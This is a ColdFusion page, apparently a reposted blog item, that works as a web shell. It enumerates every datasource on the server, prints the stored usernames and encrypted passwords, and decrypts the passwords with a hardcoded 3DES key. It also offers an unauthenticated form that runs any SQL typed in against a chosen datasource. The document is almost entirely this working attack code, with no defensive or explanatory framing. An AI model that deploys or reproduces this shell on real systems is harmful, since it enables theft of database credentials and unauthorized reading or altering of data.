<html>
<body>
<p><b>Notes:</b></p>
<hr>
<ul>
<li>Select the database you want to use</li>
<li>Write SQL statements in the text box</li>
</ul>
<p><b>Decrypt all datasource:</b></p>
<cfoutput>
<div align="left">
<cfset dsService = CreateObject("java", "coldfusion.server.ServiceFactory").DataSourceService />
<cfset o = dsService.getDataSources() />
<cfloop list="#structKeyList(o)#" index="i">
<cfset datasource = o[i] />
<cfoutput>
|~|#datasource.name#|#datasource.driver#|#datasource.url#|#datasource.username#|#datasource.password#|
<cfscript>
if(len(o[i]["password"])){
dp=Decrypt(o[i]["password"], generate3DesKey("0yJ!@1$r8p0L@r1$6yJ!@1rj"), "DESede", "Base64") ;
writeoutput( ""& dp&"");
}
</cfscript>
</br>
</cfoutput>
</cfloop>
</div>
</cfoutput>
<hr>
<form method="POST" action="">
<p><b>SQL Interface:</b></p>
Datasource<br>
<select name="datasource">
<cfscript>
dataSourceObb=createobject("java","coldfusion.server.ServiceFactory").
getDatasourceService().getDatasources();
for(i in dataSourceObb) {
writeoutput(‘<option value="‘ & i & ‘">‘ & i & ‘</option>‘);
}
</cfscript>
</select>
<br>
SQL<br>
<textarea name="sql" rows="5" cols="100"></textarea>
<br>
<input type=submit value="Exec">
</form>
<cfif isdefined("form.sql")>
<cfquery name="runsql" datasource="#Form.datasource#" timeout="30">
#Form.sql#
</cfquery>
</cfif>
<table border=1>
<cfif isdefined("form.sql")>
<cfloop from="0" to="#runsql.RecordCount#" index="row">
<cfif row eq 0>
<tr>
<cfloop list="#runsql.ColumnList#" index="column" delimiters=",">
<th><cfoutput>#column#</cfoutput></th>
</cfloop>
</tr>
<cfelse>
<tr>
<cfloop list="#runsql.ColumnList#" index="column" delimiters=",">
<td><cfoutput>#runsql[column][row]#</cfoutput></td>
</cfloop>
</tr>
</cfif>
</cfloop>
</cfif>
</table>
</body>
</html>本文出自 “Sanr” 博客,请务必保留此出处http://0x007.blog.51cto.com/6330498/1628147
原文地址:http://0x007.blog.51cto.com/6330498/1628147